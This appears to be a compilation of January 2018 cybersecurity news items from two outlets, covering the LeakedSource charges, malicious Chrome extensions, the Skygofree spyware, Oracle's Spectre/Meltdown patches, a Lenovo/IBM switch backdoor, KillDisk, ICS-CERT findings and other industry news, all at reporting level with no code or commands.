OnePlus excluded that its website is affected by any Magento vulnerability, since 2014, it has entirely been re-built using custom code.
Canadian man charged over leak of billions hacked accounts through LeakedSource
17.1.2018 securityaffairs Hacking
A Canadian Man supposed to be the admin of the LeakedSource.com website was charged over the leak of 3 billion hacked accounts.
The Canadian man Jordan Evan Bloom (27) was charged with data leak of 3 billion hacked accounts, the man was running a website to collect personal data and login credentials from the victims.
The man was charged in December as part of an investigation dubbed “Project Adoration,” aiming at trafficking in personal data, unauthorized use of computers, and possession of an illicitly obtained property.
The RCMP alleges that Bloom was the administrators of the LeakedSource.com website.
According to a statement from the Royal Canadian Mounted Police, “Project Adoration” began in 2016, the investigation started after the Canadian police learned that LeakedSource.com was being hosted by servers located in Quebec.
The RCMP conducted the investigation along with The Dutch National Police and the FBI.
According to the Royal Canadian Mounted Police, Evan Bloom earned some 247,000 Canadian dollars (roughly $198,800 US) by selling the data via leakedsource.com.
“This investigation is related to claims about a website operator alleged to have made hundreds of thousands of dollars selling personal information,” said Rafael Alvarado, the officer in charge of the RCMP Cybercrime Investigative Team. “The RCMP will continue to work diligently with our domestic and international law enforcement partners to prosecute online criminality.”
The data was stolen during massive data breaches of popular websites such as LinkedIn and Ashley Madison online dating service.
Clearly, the availability of such kind of data exposes users at risk of identity theft especially if they share the same credentials on differed web services.
Law enforcement shut down Bloom’s website, unfortunately, another domain name operated by the man is still operating because it hosted on bulletproof servers in Russia.
Four malicious Chrome extensions affected over half a million users and global businesses
17.1.2018 securityaffairs Virus
Four malicious Chrome extensions may have impacted more than half million users likely to conduct click fraud or black search engine optimization.
More than half million users may have been infected by four malicious Chrome extensions that were likely used to conduct click fraud or black search engine optimization.
According to ICEBRG, the malicious extensions also impacted employees of major organizations, potentially allowing attackers to gain access to corporate networks.
“Recently, ICEBRG detected a suspicious spike in outbound network traffic from a customer workstation which prompted an investigation that led to the discovery of four malicious extensions impacting a total of over half a million users, including workstations within major organizations globally.” states the analysis published by ICEBRG. “Although likely used to conduct click fraud and/or search engine optimization (SEO) manipulation, these extensions provided a foothold that the threat actors could leverage to gain access to corporate networks and user information.”
The researchers noticed an unusual spike in outbound traffic volume from a customer workstation to a European VPS provider. The analysis of the HTTP traffic revealed it was to the domain ‘change-request[.]info’ and was generated from a Chrome extension with ID ‘ppmibgfeefcglejjlpeihfdimbkfbbnm’ named Change HTTP Request Header that was available via Google’s Chrome Web Store.
Once enable the ‘unsafe-eval’ (Figure 3) permission to retrieve the JSON from an external source the attacker can force the browser to execute malicious code.
The Change HTTP Request Header extension is able to download obfuscated JSON files from an external source (‘change-request[.]info’), by invoking the ‘update_presets()’ function.
The Chrome extension implemented an anti-analysis technique to avoid detection.
During the analysis, the experts observed that this feature was observed by threat actors for visiting advertising related domains likely to conduct click fraud scams.
“The same capability could also be used by the threat actor to browse internal sites of victim networks, effectively bypassing perimeter controls that are meant to protect internal assets from external parties.” continues the analysis.
The security experts discovered other Chrome extensions with a similar behavior and using the same C&C server.
Nyoogle – Custom Logo for Google
Stickies Chrome’s Post-it Notes
Powerful Skygofree spyware was reported in November by Lukas Stefanko and first analyzed by CSE CybSec
17.1.2018 securityaffairs Android
The Skygofree spyware analyzed by Kaspersky today was first spotted by the researcher Lukas Stefanko and the first analysis was published last year by the CSE Cybsec ZLab.
Security researchers at Kaspersky Lab have made the headlines because they have spotted a new strain of a powerful Android spyware, dubbed Skygofree, that was used to gain full control of infected devices remotely.
Skygofree is an Android spyware that could be used in targeted attacks and according to the experts it has infected a large number of users for the past four years.
The name Skygofree is not linked to Sky Go, which is the subsidiary of Sky and does not affect its services.
The malware has been in the wild at least since 2014, and it was improved several times over the years.
“At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014.” reads the analysis published by Kaspersky.
“Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals.”
In this post, I’ll show you that the malware was first found by the security researcher at ESET Lukas Stefanko and the first detailed analysis of the spyware (titled “Malware Analysis Report: Fake 3MobileUpdater“) was published by the experts at the CSE Cybsec ZLab.
The Android Italian Job 🇮🇹
Android Spy Trojan steals sensitive info from victims
Spreads in #Italy 🇮🇹 as fake telecommunication company @Tre_It
Remotely controlled, capable of: install apps, upload files, uses accessibility, take pics, record audio, get sms/location, XMPP...
10:02 AM - Nov 9, 2017
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According to Kaspersky, Skygofree has being distributed through fake web pages mimicking leading mobile network operators. The attackers registered some of the domains used in the attack since 2015.
The most recently observed domain was registered on October 31, 2017, according to Kaspersky data the malicious code was used against several infected individuals, exclusively in Italy.
The team of researchers at CSE CybSec ZLab analyzed in November a fake 3 Mobile Updater that was used pose itself as a legitimate application of the Italian Telco company, TRE Italia.
“The most classic and efficient method used to lure the users is to believe that the application does something good. This is just what 3 Mobile Updater does. In fact, this malicious Android application looks like a legitimate app used to retrieve mobile system update and it improperly uses the logo of the notorious Italian Telco company, TRE Italia, in order to trick victims into trusting it.” reads the report published by CSE CybSec.
The analysis conducted by Kaspersky suggests the involvement of an Italian firm due to the presence in the code of strings in Italian.
“As can be seen from the comparison, there are similar strings and also a unique comment in Italian, so it looks like the attackers created this exploit payload based on android-rooting-tools project source code.” states Kaspersky.
The CSE CybSec researchers arrived atthe same conclusion, below a portion of the code analyzed by the members of the ZLab.
“Moreover, both in the logcat messages and in the code, the malware writers used the Italian language. So, we can say with high confidence that this malicious app has been written by an Italian firm that intended to target users of the Italian telco company Tre.” CSE wrote in the analysis.
The artifacts analyzed by Kaspersky in the malware code and information gathered on the control infrastrucure suggest the developer of the Skygofree implants is an Italian IT company that works for surveillance solutions.
Kaspersky Lab has not confirmed the name of the Italian company behind this spyware, we at the CSE CybSec ZLab opted for the same decision in October due to the possible involvement of law enforcement or intelligence Agencies.
Unfortunately, the OPsec implemented by the firm is very poor. The name of the company is present in multiple reference of the code. Not only, one of the domains used to control registered by the attacker is linked to an Italian technology company.
“Although the security firm has not confirmed the name of the Italian company behind this spyware, it found multiple references to Rome-based technology company “Negg” in the spyware’s code. Negg is also specialized in developing and trading legal hacking tools.” states the blog post published by THN.
Once installed, Skygofree hides its icon and starts background services to conceal its malicious actions from the victim, one interesting feature implemented by the malicious code prevents its services from being killed.
“Interestingly, a self-protection feature was implemented in almost every service. Since in Android 8.0 (SDK API 26) the system is able to kill idle services, this code raises a fake update notification to prevent it” continues Kaspersky.
According to Kaspersky, the Skygofree malware was enhanced since October implementing a sophisticated multi-stage attack and using a reverse shell payload.
The malicious code includes multiple exploits to escalate privileges for root access used by attackers to execute sophisticated payloads, including a shellcode used to spy on popular applications such as Facebook, WhatsApp, Line, and Viber.
The same spying abilities were implemented in the app we analyzed at the CSE CybSec.
“The capabilities of this malicious app are enormous and include the information gathering from various sources, including the most popular social apps, including Whatsapp, Telegram, Skype, Instagram, Snapchat. It is able to steal picture from the gallery, SMS and calls registry apps. All this data is first stored in a local database, created by the malicious app, and later it is sent to the C2C.” reads the preliminary analysis published on SecurityAffairs.
“There are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, [and] never-before-seen surveillance features,” the researchers said.
Skygofree is able to take pictures and videos remotely, monitor SMS, call records and calendar event, of course, it also able to gather target’ location and access any information stored on the mobile.
Skygofree also can record audio via the microphone, the attacker can also force the victim’s device to connect to compromised Wi-Fi networks it controls in order to conduct man-in-the-middle attacks.
Kaspersky also found a variant of Skygofree targeting Windows users, a circumstance that suggests the same company is also targeting machines running Windows OS.
The best way to prevent yourself from being a victim is to avoid downloading apps via third-party websites, app stores or links provided in SMS messages or emails.
Comparative analysis fake 3 Mobile Updater vs SkyGoFree
I asked my colleague Dr. Antonio Pirozzi, Director of the CSE CybSec ZLab, to compare the stubs of code shared by Kaspersky with the ones related to the code we analyzed back in November.
This is what has emerged:
These classes are identical:
The spyware we analyzed did not contain the Android exploits found by Kaspersky, as well as the reverse shell PRISM and the busy box.
The class used for parsing are similar;
The DNS used are the same;
The IoCs published by Kaspersky includes the URL of the C&C (url[.] plus) which was the same of the Spyware analyzed by CSE CybSec.
Many parts of the code are identical, both source codes include strings in Italian and the reference to the Italian firms are the same. The version analyzed by Kaspersky is a new version of the malware analyzed by CSE CybSec ZLab.
Kaspersky also shared the URL from which the spyware is downloaded and one of them was related to the version we analyzed (Fake 3 mobile updater).
The two version of the malware shared numerous classes, C&C server, Whois records and many other info. The sample analyzed by CSE was probably still under development.
Oracle Fixes Spectre, Meltdown Flaws With Critical Patch Update
17.1.2018 securityweek Vulnerebility
Oracle on Tuesday released its first Critical Patch Update for 2018 to deliver 237 new security fixes across its product portfolio. Over half of the addressed vulnerabilities could be remotely exploited without authentication.
As part of the January 2018 Critical Patch Update, Oracle released fixes for the Critical processor vulnerabilities made public in the beginning of the year, namely Spectre and Meltdown. Impacting modern processors, the bugs put billions of devices at risk, and vendors have been working hard to address them over the past several weeks.
“The January 2018 Critical Patch Update provides fixes for certain Oracle products for the Spectre (CVE-2017-5753, CVE-2017-5715) and Meltdown (CVE-2017-5754) Intel processor vulnerabilities,” Oracle notes in its advisory. Specific details, however, are included in a separate note, accessible only to its customers.
The security updates Oracle released for the Sun Systems Products Suite also include a fix for Oracle X86 Servers to address the CVE-2017-5715 Spectre flaw. The fix “includes Intel microcode that enables OS and VM level mitigations,” but the patch is necessary only for servers using non Oracle OS and Virtualization software.
“Oracle OS and Oracle VM patches for CVE-2017-5715 will include updated Intel microcode,” the company said.
A patch for the same bug was also included in the security updates for Oracle VM VirtualBox.
An article from The Register claims that Oracle admitted in a document on its customer portal that Solaris on SPARCv9 might be impacted by the Spectre flaws. The company reportedly said that patches are being developed, but didn’t provide information on when they would be released or on the performance impact they might have.
The product with the largest number of fixes in the January 2018 Critical Patch Update is Financial Services Applications, at 34 patches. 13 of the flaws could be remotely exploitable without authentication.
Fusion Middleware was the second most impacted Oracle product, at 27 fixes (21 of the bugs being remotely exploitable without authentication), followed by MySQL (25 fixes – 6 remotely exploitable bugs), and Java SE (21 – 18) and Hospitality Applications (21 – 15).
Oracle also resolved bugs in PeopleSoft Products (15 – 8), Supply Chain Products Suite (14 – 12), Virtualization (14 – 3), Sun Systems Products Suite (13 – 7), Retail Applications (11 – 8), Communications Applications (10 – 8), Health Sciences Applications (7 – 5), E-Business Suite (7 – 4), Database Server (5 – 3), Hyperion (4 – 1), Support Tools (3 – 1), JD Edwards Products (2 – 2), Siebel CRM (2 – 0), Construction and Engineering Suite (1 – 0), and Java Micro Edition (1 – 0).
Affecting Apache Log4j, CVE-2017-5645 was the vulnerability with the largest number of occurrences in this set of patches, at 21. It affects Communications Applications, WebLogic Server, PeopleSoft Products, Retail Applications, and Supply Chain Products Suite.
The vulnerability with the highest CVSS score (10) was addressed in Sun ZFS Storage Appliance Kit (AK). The most commonly encountered Critical vulnerabilities had a CVSS score of 9.8. Over 20 such flaws were found in Communications Applications, Fusion Middleware, PeopleSoft, Retail Applications, and Virtualization products.
Backdoor Found in Lenovo, IBM Switches
17.1.2018 securityweek Virus
A high severity vulnerability described as a backdoor has been patched in several Flex System, RackSwitch and BladeCenter switches from Lenovo and IBM.
The flaw, tracked as CVE-2017-3765, affects the Enterprise Network Operating System (ENOS) running on affected devices. The vulnerability allows an attacker to gain access to the management interface of a switch.
“An authentication bypass mechanism known as ‘HP Backdoor’ was discovered during a Lenovo security audit in the Telnet and Serial Console management interfaces, as well as the SSH and Web management interfaces under certain limited and unlikely conditions,” Lenovo said in its advisory.
“This bypass mechanism can be accessed when performing local authentication under specific circumstances using credentials that are unique to each switch. If exploited, admin-level access to the switch is granted,” the company added.
ENOS is the operating system that powers Lenovo’s RackSwitch and Flex System embedded switches. ENOS was initially developed by Nortel’s Blade Server Switch Business Unit (BSSBU), which spun off in 2006 to become BLADE Network Technologies (BNT). IBM acquired BNT in 2010 and in 2014 sold it to Lenovo.
The problematic feature, introduced by Nortel in 2004 at the request of a customer, can be found in Lenovo devices and IBM Flex System, BladeCenter and RackSwitch switches that still use the ENOS firmware.
Lenovo patched the security hole with the release of ENOS 188.8.131.52 and also provided workarounds. The company says devices running the CNOS (Cloud Network Operating System) firmware are not vulnerable. IBM has also released firmware updates to fix the vulnerability in impacted switches.
Lenovo pointed out that the backdoor can only be exploited under specific circumstances.
“Lenovo is not aware of this mechanism being exploited, but we assume that its existence is known, and customers are advised to upgrade to firmware which eliminates it,” Lenovo said.
World Economic Forum Publishes Cyber Resiliency Playbook
17.1.2018 securityweek Cyber
World Economic Forum Publishes Playbook for Developing Cyber Resiliency Through Public/Private Collaboration
The World Economic Forum (WEF) has released a playbook for public-private collaboration to improve cyber resiliency ahead of the launch of a new Global Centre for Cybersecurity at the Annual Meeting 2018 taking place on January 23-26 in Davos, Switzerland.
The background to the WEF playbook is the complexity and sometimes conflicting requirements for governments to provide physical and cyber security for their citizens without unnecessarily intruding on personal privacy, and without damaging legitimate multinational businesses. Success, it claims, "depends on collaboration between the public and private sectors."
Word Economic Forum LogoThere are two sections to the playbook: a reference architecture for public-private collaboration, and cyber policy models. There is no attempt to provide a global norm in this process, nor a methodology for implementing individual policy models. It is an intra-country model, and implementation will depend upon each nation's unique values.
Fourteen separate policy topics are included, ranging from research and data sharing, through attribution, encryption, and active defense to cyber-insurance. Five key themes cross these topics: a clearly defined safe harbor for data sharing; legal clarity for the work of white hat researchers; the impact of a symmetrical international policy response; the cost and effect of compliance requirements; and software coding quality standards.
Each policy topic is then analyzed in relation to five areas: security, privacy, economic value, accountability and fairness. It is important at this point to note that the playbooks are designed for governments to develop public/private co-operation -- civil society issues are not seriously discussed.
For example, the first policy model deals with potential government approaches to zero-day vulnerabilities. The life-cycle of a zero-day comprises unknown existence in code; discovery; and exploitation and mitigation. While secure coding practices can limit the occurrence of zero-days, they "will continue to exist due to human error and other factors." Therefore, there needs to be a government policy towards zero-days.
The two primary options are for governments to "completely exit the zero-day market and avoid research dedicated to finding software vulnerabilities;" or to stockpile for own use, and/or disclose to vendors. The implications of the latter option are then discussed. Stockpiling without disclosure increases the likelihood that bad actors might also independently discover the vulnerability. Purchasing zero-days weakens the bug bounty programs since researchers are likely to sell to the highest bidder -- which is likely to be government.
The effect of a zero-day policy is then related to the five security areas. Increased exploitation of zero-days will hurt commerce (economy) and result in more breaches (privacy). Increased research and more sharing will be beneficial (security); while the sharing of zero-days applies pressure on vendors to more rapidly mitigate the vulnerabilities (accountability). Fairness is not implicated in the different policy choices
This basic model of analyzing the policy topic, and then discussing the trade-offs with each of the five security areas (and their interaction) is applied to each of the 14 discussed policy topics. For example, 'active defense' is first defined to range from "technical interactions between a defender and an attacker" to "reciprocally inflicting damage on an alleged adversary".
One obvious danger is the potential for retaliatory escalation. "Responding to a nation-state adversary may trigger significant collateral obligations for a host state of would-be active defenders," warns the playbook. "As such, policy-makers may consider curtailing attempts to attack nation-states. Policy-makers might also consider curtailing the use of active defence techniques against more sophisticated non-state adversaries, as those adversaries may have a greater ability to obfuscate their identity and dangerously escalate a conflict."
The trade-offs on an active defense policy are then related to the five security areas. Expansive use of active defense will increase costs without necessarily having an economic return (economy). It would diminish privacy for both the alleged adversary and for any third-party collateral damage organizations (privacy). Any actual effect on overall security will likely depend upon its effectiveness as a deterrent (security). Only larger companies, and especially nation-backed industries such as the defense sector will likely have the means to employ active defense (fairness); but it is only a realistic option with more accurate attribution (accountability).
The intention of the playbook is simple, despite the thoroughness and complexity of its content. "The frameworks and discussions outlined in this document," it concludes, "endeavour to provide the basis for fruitful collaboration between the public and private sectors in securing shared digital spaces."
"We need to recognize cybersecurity as a public good and move beyond the polarizing rhetoric of the current security debate. Only through collective action can we hope to meet the global challenge of cybersecurity," said Daniel Dobrygowski, Project Lead for Cyber Resilience at the World Economic Forum.
While public/private dialog on security will of necessity be led by individual governments, the document provides an excellent overview of many of the security issues faced by commercial security teams. Although it contains no technical detail on security problems, it provides a detailed picture of the different implications from different approaches to the main security issues faced by all companies today.
Fake Meltdown/Spectre Patch Installs Malware
17.1.2018 securityweek Virus
Cybercriminals are already taking advantage of the massive attention the recently detailed Meltdown and Spectre CPU flaws have received, in an attempt to trick users into installing malware instead, Malwarebytes warns.
Made public in early January, Meltdown and Spectre are two new side-channel attack methods against modern processors and are said to impact billions of devices. Based on vulnerabilities at the CPU level, the flaws allow malicious apps to access data as it is being processed, including passwords, photos, documents, emails, and the like.
Chip makers and vendors were alerted on the bugs last year, and some started working on patches for their users several months ago, but waited for a coordinated public disclosure set for last week. Apple, Microsoft, Google, Canonical, and IBM are just a few of the vendors that have already deployed patches.
Soon after the patches began rolling out, however, attacks taking advantage of the Meltdown/Spectre fever surfaced. One of them, Malwarebytes reports, is targeting German users with the SmokeLoader malware.
The attack was spotted soon after the German authorities issued a warning on phishing emails trying to take advantage of infamous bugs started to appear.
The emails appeared to come from the German Federal Office for Information Security (BSI), and Malwarebytes discovered a domain that also posed as the BSI website. Recently registered, the SSL-enabled phishing site isn’t affiliated with a legitimate or official government entity, but attempts to trick users into installing malware.
The website is offering an information page that supposedly provides links to resources about Meltdown and Spectre, bug also links to a ZIP archive (Intel-AMD-SecurityPatch-11-01bsi.zip) that contains malware instead of the promised security patch.
Once a user downloads and runs the file, the SmokeLoader malware, which is capable of downloading and running additional payloads, is installed. The security researchers have observed the threat attempting to connect to various domains and sending encrypted information.
By analyzing the SSL certificate used by the fraudulent domain, the security researchers discovered other properties associated with the .bid domain, including a German template for a fake Adobe Flash Player update.
The security researchers have already contacted Comodo and CloudFlare to report the fraudulent website, and the domain stopped resolving within minutes after CloudFlare was informed on the issue.
“Online criminals are notorious for taking advantage of publicized events and rapidly exploiting them, typically via phishing campaigns. This particular one is interesting because people were told to apply a patch, which is exactly what the crooks are offering under disguise,” Malwarebytes concludes.
"PowerStager" Tool Employs Unique Obfuscation
17.1.2018 securityweek Virus
A malicious tool that has managed to fly under the radar since April 2017 is showing great focus on obfuscation, in an attempt to evade detection, Palo Alto Networks warns.
Dubbed PowerStager, the tool has shown an uptick in usage for in-the-wild attacks around December 2017. Developed as a Python script that generates Windows executables using C source code, it uses multiple layers of obfuscation to launch PowerShell scripts to execute a shellcode payload.
PowerStager uses a unique obfuscation technique for PowerShell segments, while also offering increased flexibility, due to multiple configuration options.
Some of these options include the ability to target both x86 and x64 platforms, support for additional obfuscation on top of defaults, support for customized error messages/executable icon for social engineering, and the ability to use Meterpreter or other built-in shellcode payloads. The tool can also fetch remote payloads or embed them into the executable and can escalate privileges using UAC.
Analysis of executables created with the help of this tool revealed that they were being generated programmatically and that an embedded string for the file that gets created was included in each executable, Palo Alto’s Jeff White explains. The filename is also randomized between samples.
White discovered seven total PowerShell scripts that can be generated from the script.
As of late December 2017, Palo Alto has observed 502 unique samples of PowerStager, mainly targeting Western European media and wholesale organizations. A large number of samples, however, were being used for testing and sales proof-of-concepts demonstrations, the researcher says.
White also discovered that certain attributes that PowerStager defines when building the samples can be used to track them. There are also a series of characteristics specific to the generated samples. Although they are usually different between samples, they can prove useful for identification, especially when coupled with said unique obfuscation and PowerShell methods during dynamic analysis.
“While it’s not the most advanced toolset out there, the author has gone through a lot of trouble in attempting to obfuscate and make dynamic detection more difficult. PowerStager has covered a lot of the bases in obfuscation and flexibility well, but it hasn’t seen too much usage as of yet; however, it is on the rise and another tool to keep an eye on as it develops,” White concludes.
New KillDisk Variant Spotted in Latin America
17.1.2018 securityweek Virus
A new variant of the disk-wiper malware known as KillDisk has been spotted by Trend Micro researchers in attacks aimed at financial organizations in Latin America.
The security firm is in the process of examining the new variant and the attacks, but an initial analysis showed that the Trojan appears to be delivered by a different piece of malware or it may be part of a bigger attack.
Early versions of KillDisk were designed to wipe hard drives in an effort to make systems inoperable. The malware was used by the Russia-linked threat actor BlackEnergy in the 2015 attack aimed at Ukraine’s energy sector.
Roughly one year after the Ukraine attack, researchers reported that its developers had turned KillDisk into file-encrypting ransomware. However, the samples analyzed at the time used the same encryption key for all instances, making it possible for victims to recover files.
Experts later reported seeing a KillDisk ransomware designed to target Linux machines, but the malware did not save encryption keys anywhere, making it impossible to recover files.
Some links have also been found between KillDisk and the NotPetya malware, which initially appeared to be a piece of ransomware but later turned out to be a disk wiper. NotPetya hit machines in more than 65 countries and major companies reported losing hundreds of millions of dollars as a result of the attack.
The latest variant, which Trend Micro tracks as TROJ_KILLDISK.IUB, goes back to its roots and focuses on deleting files and wiping the disk. The malware, designed to target Windows systems, goes through all drives in order to delete files, except for system files and folders.
It then proceeds to wipe the disk, which includes reading the master boot record (MBR) and overwriting the extended boot record (EBR). The file removal and disk wiping procedures involve overwriting files and disk sectors in order to make recovery more difficult.
Once files and partitions have been deleted and overwritten, the malware attempts to terminate several processes in an effort to reboot the infected machine. By targeting processes associated with the client/server runtime subsystem (csrss.exe), Windows start-up (wininit.exe), Windows logon (winlogon.exe), and the Local Security Authority Subsystem Service (lsass.exe), the malware can force a blue screen of death (BSOD), a logout, or a restart.
Trend Micro has promised to share more information on the new KillDisk variant as its investigation continues.
Half Million Impacted by Four Malicious Chrome Extensions
17.1.2018 securityweek Virus
Four malicious Chrome extensions managed to infect over half a million users worldwide, including employees of major organizations, ICEBRG reports.
The extensions were likely used to conduct click fraud and/or search engine optimization (SEO) manipulation, but they could have also been used by threat actors to gain access to corporate networks and user information, the security company warns.
The malicious extensions were discovered after observing an unusual spike in outbound traffic volume from a customer workstation to a European VPS provider, ICEBRG reveals. The HTTP traffic was associated with the domain ‘change-request[.]info’ and was generated from a Chrome extension named Change HTTP Request Header.
What ICEBRG researchers discovered was that the Change HTTP Request Header extension could download obfuscated JSON files from ‘change-request[.]info’, via an ‘update_presets()’ function. The obfuscated code was observed checking for native Chrome debugging tools and halting the execution of the infected segment if such tools were detected.
“During the time of observation, the threat actor utilized this capability exclusively for visiting advertising related domains indicating a potential click fraud campaign was ongoing. Click fraud campaigns enable a malicious party to earn revenue by forcing victim systems to visit advertising sites that pay per click (PPC),” ICEBRG reports.
The capability, however, can also be used by the threat actor to browse internal sites of victim networks, thus effectively bypassing perimeter controls.
The security researchers also discovered that Change HTTP Request Header wasn’t the only Chrome extension designed to work in this manner. Nyoogle - Custom Logo for Google, Lite Bookmarks, and Stickies - Chrome's Post-it Notes show similar tactics, techniques, and procedures (TTPs) and feature the same command and control (C&C).
“The inherent trust of third-party Google extensions, and accepted risk of user control over these extensions, allowed an expansive fraud campaign to succeed. In the hands of a sophisticated threat actor, the same tool and technique could have enabled a beachhead into target networks,” ICEBRG notes.
Considering the total installed user base of these malicious Chrome extensions, the malicious actor behind them has a substantial pool of resources to use for financial gain. Google, the National Cyber Security Centre of The Netherlands (NCSC-NL), the United States Computer Emergency Readiness Team (US-CERT), and customers who were directly impacted have been alerted on the issue.
Canadian Man Charged Over Leak of Three Billion Hacked Accounts
17.1.2018 securityweek Hacking
An Ontario man made his first court appearance Monday to answer charges of running a website that collected personal and password data from some three billion accounts, and sold them for profit.
Jordan Evan Bloom, 27, of Thornhill earned some Can$247,000 ($198,800 US) by selling the data for a "small fee" via leakedsource.com, the Royal Canadian Mounted Police said in a statement.
The information was stolen during massive hacks of websites including LinkedIn and the Ashley Madison online dating service.
Some of the data could also be used to access other popular websites if the hacked user used the same password and username combination, according to police.
Bloom was charged in December as part of a criminal probe dubbed "Project Adoration" focusing on trafficking in personal data, unauthorized use of computers, and possession of illicitly obtained property.
The probe lasted more than a year.
Authorities have shut down Bloom's website, but another with the same domain name hosted by servers in Russia is still operating.
"The RCMP will continue to work diligently with our domestic and international law enforcement partners to prosecute online criminality," inspector Rafael Alvarado said in a statement.
Police noted that help from the Dutch National Police and the FBI were "essential" to the investigation.
Shared Accounts Increasingly Problematic for Critical Infrastructure: ICS-CERT
17.1.2018 securityweek ICS
Assessments conducted last year by the U.S. Department of Homeland Security’s Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) showed that boundary protection remains the biggest problem in critical infrastructure organizations, but identification and authentication issues have become increasingly common.
Critical infrastructure owners and operators can ask ICS-CERT to conduct onsite cybersecurity assessments of their industrial control systems (ICS) in order to help them strengthen their cybersecurity posture.
In 2017, ICS-CERT conducted 176 assessments, which represents a 35 percent increase compared to the previous year. The agency analyzed organizations in eight critical infrastructure sectors, but more than two-thirds of the assessments targeted the energy and water and wastewater systems sectors.
The highest number of assessments were conducted in Texas (27), followed by Alaska (20), Nebraska (15), New York (14), Washington (13), Idaho (12), Nevada (10) and Arizona (10).
ICS-CERT identified 753 issues as part of 137 architecture design reviews and network traffic analyses. The six most common weaknesses, which accounted for roughly one-third of the total, were related to network boundary protection, identification and authentication, allocation of resources, physical access controls, account management, and least functionality.
Improper network boundary protection, which includes inadequate boundaries between enterprise and ICS networks and the inability to detect unauthorized activity on critical systems, has been the most common type of weakness since 2014.
As for identification and authentication issues, these can include the lack of mechanisms for tracing user actions if an account gets compromised, and increased difficulty in securing accounts belonging to former employees, particularly ones with administrator access.
Identification and authentication issues first made ICS-CERT’s top six weakness categories in 2015, when it was on the fourth position. In 2016 it jumped one position and last year it was the second most common security weakness.
Of all the identification and authentication issues, shared and group accounts are particularly concerning.
“[Shared and group accounts] make it difficult to identify the actual user and they allow malicious parties to use them with anonymity. Accounts used by a shared group of users typically have poor passwords that malicious actors can easily guess and that users do not change frequently or when a member of the group leaves,” ICS-CERT said in its latest Monitor report.
Allocation of resources for cybersecurity is also a problem in many critical infrastructure organizations. ICS-CERT’s assessment teams noticed that many sites are short-staffed and in many cases there is no backup personnel.
“Although some sites had started planning or attrition of staff, many did not have a plan to address loss of key personnel. One site had seven key personnel, four of whom would be eligible for retirement next year,” the agency said.
While its assessments do not focus on physical access controls, ICS-CERT has often noticed that organizations fail to ensure that ICS components are physically accessible only to authorized personnel.
“The team observed cases where infrastructure (i.e., routers and switches) was in company space but accessible to staff with no need to have physical access. Other cases included ICS components in public areas without any physical restrictions (i.e., locked doors or enclosures) to prevent access from a passerby. Some sites did not have locked doors to the operations plant, which would allow anyone to walk in and potentially have access to control system components,” ICS-CERT explained.
Flaws Allowed Facebook Account Hacking via Oculus App
17.1.2018 securityweek Social
Facebook recently patched a couple of vulnerabilities that could have been exploited by malicious hackers to hijack accounts by abusing integration with the Oculus virtual reality headset.
Facebook announced the acquisition of Oculus VR back in July 2014 and added Oculus assets to its bug bounty program a few weeks later. Several vulnerabilities have been found in Oculus services since, including a series of flaws that earned a researcher $25,000.
In October, web security consultant Josip Franjkoviæ decided to analyze the Oculus application for Windows, which includes social features that allow users to connect their Facebook account.
Franjkovic discovered that a malicious actor could have used specially crafted GraphQL queries to connect a targeted user’s Facebook account to the attacker’s Oculus account. GraphQL is a query language created by Facebook in 2012 and later released to the public.
According to the researcher, a specially crafted query allowed an attacker to obtain the victim’s access token, which under normal circumstances should not be accessible to third-party apps, and use it to take control of their Facebook account.
Franjkovic demonstrated an account takeover method by using a specially crafted query to add a new mobile phone number to the targeted account and then leveraging that number to reset the victim’s password.
The vulnerability was reported to Facebook on October 24 and a temporary fix, which involved disabling the facebook_login_sso endpoint, was implemented on the same day. A permanent patch was rolled out on October 30.
A few weeks later, the expert discovered a login cross-site request forgery (CSRF) flaw that could have been exploited to bypass Facebook’s patch.
This second flaw was reported to Facebook on November 18 and again the facebook_login_sso endpoint was disabled on the same day as a temporary fix. A complete patch was implemented roughly three weeks later.
The researcher has not disclosed the amount of money he earned from Facebook for finding the vulnerabilities, but he told SecurityWeek that the social media giant classified the issues as critical and he was happy with the reward he received.
Facebook revealed last week that it had paid a total of $880,000 in bug bounties in 2017, with an average of roughly $1,900 per submission.
Technical details for the vulnerabilities can be found on Franjkovic’s blog. In the past years, the expert reported several vulnerabilities to Facebook, including ones that could be exploited to hijack accounts.
BlackBerry Launches Security Product for Automotive, Other Industries
17.1.2018 securityweek IT
BlackBerry announced on Monday the launch of Jarvis, a new cybersecurity service designed to help companies in the automotive and other sectors find vulnerabilities in their software.
Jarvis has been described by BlackBerry as a cloud-based static binary code analysis software-as-a-service (SaaS) product. The tool is currently used by automakers, including Britain’s largest car maker, Jaguar Land Rover, but BlackBerry says it is ideal for other types of organizations as well, including in the healthcare, aerospace, defense, and industrial automation sectors.
Modern cars use hundreds of software components, including many provided by third-party vendors across several tiers. While this approach has some advantages, it also increases the chances of vulnerabilities making it into the software somewhere along the supply chain.BlackBerry launches Jarvis code scanning service
Jarvis aims to address this issue by scanning code and offering actionable information within minutes. In addition to finding vulnerabilities, the service also helps ensure compliance with various standards.
BlackBerry claims the new product performs tasks that would require a large number of experts and a lot of time, which should help companies save money. The tool can be integrated with existing development tools and APIs.
“Connected and autonomous vehicles require some of the most complex software ever developed, creating a significant challenge for automakers who must ensure the code complies with industry and manufacturer-specific standards while simultaneously battle-hardening a very large and tempting attack surface for cybercriminals,” said John Chen, executive chairman and CEO of BlackBerry.
“Jarvis is a game-changer for OEMs because for the first time they have a complete, consistent, and near real-time view into the security posture of a vehicle's entire code base along with the insights and deep learning needed to predict and fix vulnerabilities, ensure compliance, and remain a step ahead of bad actors,” Chen added.
Jarvis is an online tool that can be used by companies as a pay-as-you-go service. The product can be customized for each organization’s needs and their specific supply chain, allowing them to scan code at every stage of the development process.
Kaspersky Discovers Powerful Mobile Spyware
17.1.2018 securityweek Android
Kaspersky Lab has shared details of a sophisticated, multi-stage mobile spyware that gives attackers the ability to take over an infected Android device, with advanced features that have never been seen before in other mobile threats.
Named Skygofree, the mobile implant has been active since 2014 and has the ability to record nearby conversations and noise when an infected device enters a specified location.
Other advanced functions that have never been seen before include using Android’s Accessibility Services to access WhatsApp messages and the ability to connect an infected device to Wi-Fi networks controlled by the attackers.
